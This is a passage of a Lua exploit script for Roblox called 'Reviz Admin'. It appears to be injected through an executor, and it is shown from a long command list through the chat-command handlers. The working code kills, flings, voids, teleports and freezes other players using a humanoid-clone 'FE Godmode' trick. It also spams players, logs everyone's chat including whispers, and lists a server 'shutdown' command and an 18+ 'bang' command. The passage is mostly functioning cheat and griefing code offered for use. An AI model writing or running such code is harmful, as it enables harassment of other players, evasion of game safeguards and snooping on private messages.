you want to reset with FE Godmode',
'[76] explorer -- Loads up DEX',
'[77] reset -- Resets your character.',
'[78] anim [id] -- Applies an animation on you, must be created by ROBLOX',
'[79] animgui -- Loads up Energize animations GUI',
'[80] savepos -- Saves your current position',
'[81] loadpos -- Teleports you to your saved position',
'[82] bang [plr] -- 18+ will not work if you have FE Godmode on',
'[83] unbang',
'[84] delcmdbar -- Removes the command bar completely',
'[85] bringmod [obj] -- Brings all the parts in a model, client only, comes
from ;bringobj enter exact name of model',
'[86] shutdown -- Uses harkinians script to shutdown server',
'[87] respawn -- If grespawn doesnt work you can use respawn',
'[88] delobj [obj] -- Deletes a certain brick in workspace, client sided',
'[89] getplrs -- Prints all players in game',
'[90] deldecal -- Deletes all decals client sided',
'[91] opfinality -- Loads in my FE GUI Opfinality',
'[92] remotes -- Prints all remotes in the game in the console when added',
'[93] noremotes -- Stops printing remotes',
'[94] tpdefault -- Stops all loop teleports to a player',
'[95] stopsit -- Will not allow you to sit',
'[96] gosit -- Allows you to sit',
'[97] clicktp -- Enables click tp',
'[98] noclicktp -- Disables click tp',
'[99] toolson -- If any tools are dropped in the workspace you will
automatically get them',
'[100] toolsoff -- Stops ;toolson',
'[101] version -- Gets the admin version',
'[102] state [num] -- Changes your humanoid state, ;unstate to stop.',
'[103] gravity [num] -- Changes workspace gravity default is 196.2',
'[104] pgs -- Checks if the game has PGSPhysicsSolverEnabled enabled',
'[105] clickdel -- Delete any block you press q on, client sided',
'[106] noclickdel -- Stops clickdel',
'[107] looprhats -- Loop removes mesh of your hats/loop block hats',
'[108] unlooprhats -- Stops loop removing mesh',
'[109] looprtool -- Loop removes mesh of your tool/loop block tools',
'[110] unlooprtool -- Stops loop removing mesh',
'[111] givealltools [plr] -- Gives all the tools you have in your backpack to
the player',
'[112] age [plr] -- Makes you chat the account age of the player',
'[113] id [plr] -- Makes you chat the account ID of the player',
'[114] .age [plr] -- Privately shows you the account age of the player',
'[115] .id [plr] -- Privately shows you the account ID of the player',
'[116] gameid -- Shows the game ID',
'[117] removeinvis -- Removes all invisible walls/parts, client sided',
'[118] removefog -- Removes fog, client sided',
'[119] disable -- Disables your character by removing humanoid',
'[120] enable -- Enables your character by adding humanoid',
'[121] prefix [key] -- Changes the prefix used, default is ;',
'[122] ;resetprefix -- Resets the prefix to ; incase you change it to an
unusable prefix. Say exactly ";resetprefix" to do this command, no matter what your
prefix is set to.',
'[123] flyspeed [num] -- Change your fly speed, default is 1',
'[124] carpet [plr] -- Makes you a carpet for a player, will not work if FE
Godmode is on',
'[125] uncarpet -- Stops carpet player',
'[126] stare [plr] -- Turns your character to stare at another player',
'[127] unstare -- Stops stare player',
'[128] logchat -- Logs all chat (including /e and whispers) of all players',
'[129] unlogchat -- Disables logchat',
'[130] fixcam -- Fixes/resets your camera',
'[131] unstate -- Stops changing state',
}
speedget = 1

lplayer = game:GetService("Players").LocalPlayer

lplayer.CharacterAdded:Connect(function(character)
spin = false
flying = false
staring = false
banpl = false
end)
function change()
prefix = prefix
speedfly = speedfly
end

function GetPlayer(String) -- Credit to Timeless/xFunnieuss


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
table.insert(Found,v)
end
elseif strl == "others" then
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= lplayer.Name then
table.insert(Found,v)
end
end
elseif strl == "me" then
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name == lplayer.Name then
table.insert(Found,v)
end
end
else
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name:lower():sub(1, #String) == String:lower() then
table.insert(Found,v)
end
end
end
return Found
end

local Mouse = lplayer:GetMouse()

spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
droppinghats = false
droppingtools = false
flying = false
spamdelay = 1
spamming = false
spammingpm = false
cbringing = false
remotes = true
added = true
binds = false
stopsitting = false
clickgoto = false
gettingtools = false
removingmeshhats = false
removingmeshtool = false
clickdel = false
staring = false
chatlogs = false
banpl = false
changingstate = false
statechosen = 0

adminversion = "Reviz Admin by illremember, Version 2.0"

flying = false
speedfly = 1

function plrchat(plr, chat)


print(plr.Name..": "..tick().."\n"..chat)
end

for i,v in pairs(game:GetService("Players"):GetPlayers()) do


v.Chatted:connect(function(chat)
if chatlogs then
plrchat(v, chat)
end
end)
end
game:GetService("Players").PlayerAdded:connect(function(plr)
plr.Chatted:connect(function(chat)
if chatlogs then
plrchat(plr, chat)
end
end)
end)

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local CMDBAR = Instance.new("TextBox")
ScreenGui.Parent = game:GetService("CoreGui")
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.new(0.3, 0.1, 0.1)
Frame.BackgroundTransparency = 0.3
Frame.Position = UDim2.new(0.5, 0, 0, 10)
Frame.Size = UDim2.new(0, 200, 0, 40)
Frame.Active = true
Frame.Draggable = true
CMDBAR.Name = "CMDBAR"
CMDBAR.Parent = Frame
CMDBAR.BackgroundColor3 = Color3.new(0.105882, 0.164706, 0.207843)
CMDBAR.BackgroundTransparency = 0.20000000298023
CMDBAR.Size = UDim2.new(0, 180, 0, 20)
CMDBAR.Position = UDim2.new(0.05, 0, 0.25, 0)
CMDBAR.Font = Enum.Font.SourceSansLight
CMDBAR.FontSize = Enum.FontSize.Size14
CMDBAR.TextColor3 = Color3.new(0.945098, 0.945098, 0.945098)
CMDBAR.TextScaled = true
CMDBAR.TextSize = 14
CMDBAR.TextWrapped = true
CMDBAR.Text = "Press ; to type, Enter to execute"

local CMDS = Instance.new("ScreenGui")


local CMDSFRAME = Instance.new("Frame")
local ScrollingFrame = Instance.new("ScrollingFrame")
local TextLabel = Instance.new("TextLabel")
local closegui = Instance.new("TextButton")
CMDS.Name = "CMDS"
CMDS.Parent = game:GetService("CoreGui")
CMDSFRAME.Name = "CMDSFRAME"
CMDSFRAME.Parent = CMDS
CMDSFRAME.Active = true
CMDSFRAME.BackgroundColor3 = Color3.new(0.223529, 0.231373, 0.309804)
CMDSFRAME.BorderSizePixel = 0
CMDSFRAME.Draggable = true
CMDSFRAME.Position = UDim2.new(0, 315, 0, 100)
CMDSFRAME.Size = UDim2.new(0, 275, 0, 275)
CMDSFRAME.Visible = false
ScrollingFrame.Parent = CMDSFRAME
ScrollingFrame.BackgroundColor3 = Color3.new(0.160784, 0.160784, 0.203922)
ScrollingFrame.BorderSizePixel = 0
ScrollingFrame.Position = UDim2.new(0, 0, 0.0729999989, 0)
ScrollingFrame.Size = UDim2.new(1.04999995, 0, 0.92900002, 0)
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 10, 0)
TextLabel.Parent = ScrollingFrame
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.Size = UDim2.new(0.930000007, 0, 1, 0)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.FontSize = Enum.FontSize.Size18
TextLabel.Text = "[-] cmdbar is shown when ; is pressed.,\n[1] kill [plr] -- You
need a tool! Will kill the player, use rkill to kill you and player,\n[2] bring
[plr] -- You need a tool! Will bring player to you,\n[3] spin [plr] -- You need a
tool! Makes you and the player spin crazy,\n[4] unspin -- Use after using spin cmd
and dying, so you stop loop teleporting,\n[5] attach [plr] -- You need a tool!
Attaches you to player,\n[6] unattach [plr] -- Attempts to unattach you from a
player,\n[7] follow [plr] -- Makes you follow behind the player,\n[8] unfollow,\
n[9] freefall [plr] -- You need a tool! Teleports you and the player up into the
air,\n[10] trail [plr] -- The opposite of follow, you stay infront of player,\n[11]
untrail,\n[12] orbit [plr] -- Makes you orbit the player,\n[13] unorbit,\n[14]
fling [plr] -- Makes you fling the player,\n[15] unfling,\n[16] fecheck -- Checks
if the game is FE or not,\n[17] void [plr] -- Teleports player to the void,\n[18]
noclip -- Gives you noclip to walk through walls,\n[19] clip -- Removes noclip,\
n[20] speed [num]/ws [num] -- Changes how fast you walk 16 is default,\n[21]
jumppower [num]/jp [num] -- Changes how high you jump 50 is default,\n[22]
hipheight [num]/hh [num] -- Changes how high you float 0 is default,\n[23] default
-- Changes your speed, jumppower and hipheight to default values,\n[24] annoy [plr]
-- Loop teleports you to the player,\n[25] unannoy,\n[26] headwalk [plr] -- Loop
teleports you to the player head,\n[27] unheadwalk,\n[28] nolimbs -- Removes your
arms and legs,\n[29] god -- Gives you FE Godmode,\n[30] drophats -- Drops your
accessories,\n[31] droptool -- Drops any tool you have equipped,\n[32] loopdhats --
Loop drops your accessories,\n[33] unloopdhats,\n[34] loopdtool -- Loop drops any
tools you have equipped,\n[35] unloopdtool,\n[36] invisible -- Gives you
invisibility CREDIT TO TIMELESS,\n[37] view [plr] -- Changes your camera to the
player character,\n[38] unview,\n[39] goto [plr] -- Teleports you to player,\n[40]
fly -- Allows you to fly,\n[41] unfly,\n[42] chat [msg] -- Makes you chat a
message,\n[43] spam [msg] -- Spams a message,\n[44] unspam,\n[45] spamwait [num] --
Changes delay of chatting a message for the spam command in seconds default is 1
second,\n[46] pmspam [plr] -- Spams a player in private message,\n[47] unpmspam,\
n[48] cfreeze [plr] -- Freezes a player on your client, they will only be frozen
for you,\n[49] uncfreeze [plr],\n[50] unlockws -- Unlocks the workspace,\n[51]
lockws -- Locks the workspace,\n[52] btools -- Gives you btools that will only show
to you useful for deleting certain blocks only for you,\n[53] pstand -- Enables
platform stand,\n[54] unpstand -- Disables platform stand,\n[55] blockhead --
Removes your head mesh,\n[56] sit,\n[57] bringobj [obj] -- Only shows on client,
brings an object/part to you constantly, can be used to bring healing parts,
weapons, money etc, type in exact name,\n[58] wsvis [num] -- Changes visibility of
workspace parts, num should be between 0 and 1, only shows client sided,\n[59]
hypertotal -- Loads in my FE GUI Hypertotal,\n[60] cmds -- Prints all commands,\
n[61] rmeshhats/blockhats -- Removes the meshes of all your accessories aka block
hats,\n[62] rmeshtool/blocktool -- Removes the mesh of the tool you have equipped
aka block tool,\n[63] spinner -- Makes you spin,\n[64] nospinner,\n[65] reach [num]
-- Gives you reach, mostly used for swords, say ;reachd for default and enter
number after for custom,\n[66] noreach -- Removes reach, must have tool equipped,\
n[67] rkill [plr] -- Kills you and the player, use kill to just kill the player
without dying,\n[68] tp me [plr] -- Alternative to goto,\n[69] cbring [plr] --
Brings player infront of you, shows only on client, allows you to do damage to
player,\n[70] uncbring,\n[71] swap [plr] -- You need a tool! Swaps players position
with yours and your position with players,\n[72] givetool [plr] -- Gives the tool
you have equipped to the player,\n[73] glitch [plr] -- Glitches you and the player,
looks very cool,\n[74] unglitch -- Unglitches you,\n[75] grespawn -- Alternative to
normal respawn and usually works best for when you want to reset with FE Godmode,\
n[76] explorer -- Loads up DEX,\n[77] reset -- Resets your character.,\n[78] anim
[id] -- Applies an animation on you, must be created by ROBLOX,\n[79] animgui --
Loads up Energize animations GUI,\n[80] savepos -- Saves your current position,\
n[81] loadpos -- Teleports you to your saved position,\n[82] bang [plr] -- 18+,\
n[83] unbang,\n[84] delcmdbar -- Removes the command bar completely,\n[85] bringmod
[obj] -- Brings all the parts in a model, client only, comes from ;bringobj enter
exact name of model,\n[86] shutdown -- Uses harkinians script to shutdown server,\
n[87] respawn -- If grespawn doesnt work you can use respawn,\n[88] delobj [obj] --
Deletes a certain brick in workspace, client sided,\n[89] getplrs -- Prints all
players in game,\n[90] deldecal -- Deletes all decals client sided,\n[91]
opfinality -- Loads in my FE GUI Opfinality,\n[92] remotes -- Prints all remotes in
the game in the console when added,\n[93] noremotes -- Stops printing remotes,\
n[94] tpdefault -- Stops all loop teleports to a player,\n[95] stopsit -- Will not
allow you to sit,\n[96] gosit -- Allows you to sit,\n[97] clicktp -- Enables click
tp,\n[98] noclicktp -- Disables click tp,\n[99] toolson -- If any tools are dropped
in the workspace you will automatically get them,\n[100] toolsoff --
Stops ;toolson,\n[101] version -- Gets the admin version, \n This list of commands
is NOT showing everything, go to my thread in the pastebin link to see ALL
commands."
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextSize = 15
TextLabel.TextWrapped = true
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextLabel.TextYAlignment = Enum.TextYAlignment.Top
closegui.Name = "closegui"
closegui.Parent = CMDSFRAME
closegui.BackgroundColor3 = Color3.new(0.890196, 0.223529, 0.0588235)
closegui.BorderSizePixel = 0
closegui.Position = UDim2.new(0.995000005, 0, 0, 0)
closegui.Size = UDim2.new(0.0545952693, 0, 0.0728644878, 0)
closegui.Font = Enum.Font.SourceSansBold
closegui.FontSize = Enum.FontSize.Size24
closegui.Text = "X"
closegui.TextColor3 = Color3.new(1, 1, 1)
closegui.TextSize = 20

closegui.MouseButton1Click:connect(function()
CMDSFRAME.Visible = false
end)

game:GetService('RunService').Stepped:connect(function()
if spin then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[spinplr.Name].Character.HumanoidRootPart.CFrame
end
if followed then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[flwplr.Name].Character.HumanoidRootPart.CFrame + game:GetService("Players")
[flwplr.Name].Character.HumanoidRootPart.CFrame.lookVector * -5
end
if traill then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[trlplr.Name].Character.HumanoidRootPart.CFrame + game:GetService("Players")
[trlplr.Name].Character.HumanoidRootPart.CFrame.lookVector * 5
end
if annoying then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[annplr.Name].Character.HumanoidRootPart.CFrame
end
if hwalk then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[hdwplr.Name].Character.HumanoidRootPart.CFrame + Vector3.new(0, 4, 0)
end
if staring then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(lplayer.Character.Torso.Position, game:GetService("Players")
[stareplr.Name].Character.Torso.Position)
end
end)
game:GetService('RunService').Stepped:connect(function()
if noclip then
if lplayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
lplayer.Character.Head.CanCollide = false
lplayer.Character.Torso.CanCollide = false
lplayer.Character["Left Leg"].CanCollide = false
lplayer.Character["Right Leg"].CanCollide = false
else
lplayer.Character.Humanoid:ChangeState(11)
end
end
if changingstate then
lplayer.Character.Humanoid:ChangeState(statechosen)
end
end)
game:GetService('RunService').Stepped:connect(function()
if droppinghats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if droppingtools then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if removingmeshhats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if removingmeshtool then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
end)
game:GetService('RunService').Stepped:connect(function()
if banpl then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[bplrr].Character.HumanoidRootPart.CFrame
end
end)
game:GetService('RunService').Stepped:connect(function()
if stopsitting then
lplayer.Character.Humanoid.Sit = false
end
end)

plr = lplayer
hum = plr.Character.HumanoidRootPart
mouse = plr:GetMouse()
mouse.KeyDown:connect(function(key)
if key == "e" then
if mouse.Target then
if clickgoto then
hum.CFrame = CFrame.new(mouse.Hit.x, mouse.Hit.y + 5, mouse.Hit.z)
elseif clickdel then
mouse.Target:Destroy()
end
end
end
end)

game:GetService("Workspace").ChildAdded:connect(function(part)
if gettingtools then
if part:IsA("Tool") then
part.Handle.CFrame = lplayer.Character.HumanoidRootPart.CFrame
end
end
end)

lplayer.Chatted:Connect(function(msg)
if string.sub(msg, 1, 6) == (prefix.."kill ") then
if string.sub(msg, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(100000,0,100000)
else
for i,v in pairs(GetPlayer(string.sub(msg, 7)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")[v.Name])
wait(0.7)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
end
if string.sub(msg, 1, 7) == (prefix.."bring ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame = char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."spin ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
lplayer.Character.Animate.Disabled = false
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."unspin") then
spin = false
end
if string.sub(msg, 1, 8) == (prefix.."attach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
attplr = v
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 10) == (prefix.."unattach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer, game:GetService("Players")[v.Name])
end
end
if string.sub(msg, 1, 8) == (prefix.."follow ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
followed = true
flwplr = v
end
end
if string.sub(msg, 1, 9) == (prefix.."unfollow") then
followed = false
end
if string.sub(msg, 1, 10) == (prefix.."freefall ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,50000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."trail ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
traill = true
trlplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."untrail") then
traill = false
end
if string.sub(msg, 1, 7) == (prefix.."orbit ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8) == "others" or
string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
local o = Instance.new("RocketPropulsion")
o.Parent = lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(msg, 1, 7) == (prefix.."fling ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8) == "others" or
string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
local y = Instance.new("RocketPropulsion")
y.Parent = lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unfling") then
noclip = false
lplayer.Character.HumanoidRootPart.Fling:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)
lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(msg, 1, 8) == (prefix.."fecheck") then
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a different
admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin
script.";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."void ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(999999999999999,0,999999999999999)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."noclip") then
noclip = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(msg, 1, 5) == (prefix.."clip") then
noclip = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(msg, 1, 7) == (prefix.."speed ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(msg, 8))
end
if string.sub(msg, 1, 4) == (prefix.."ws ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."hipheight ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."hh ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."jumppower ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."jp ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(msg, 5))
end
if string.sub(msg, 1, 8) == (prefix.."default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(msg, 1, 7) == (prefix.."annoy ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
annoying = true
annplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unannoy") then
annoying = false
end
if string.sub(msg, 1, 10) == (prefix.."headwalk ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
hwalk = true
hdwplr = v
end
end
if string.sub(msg, 1, 11) == (prefix.."unheadwalk") then
hwalk = false
end
if string.sub(msg, 1, 8) == (prefix.."nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove";
})
end
if string.sub(msg, 1, 9) == (prefix.."drophats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 9) == (prefix.."droptool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 10) == (prefix.."loopdhats") then
droppinghats = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdhats") then
droppinghats = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."loopdtool") then
droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdtool") then
droppingtools = false
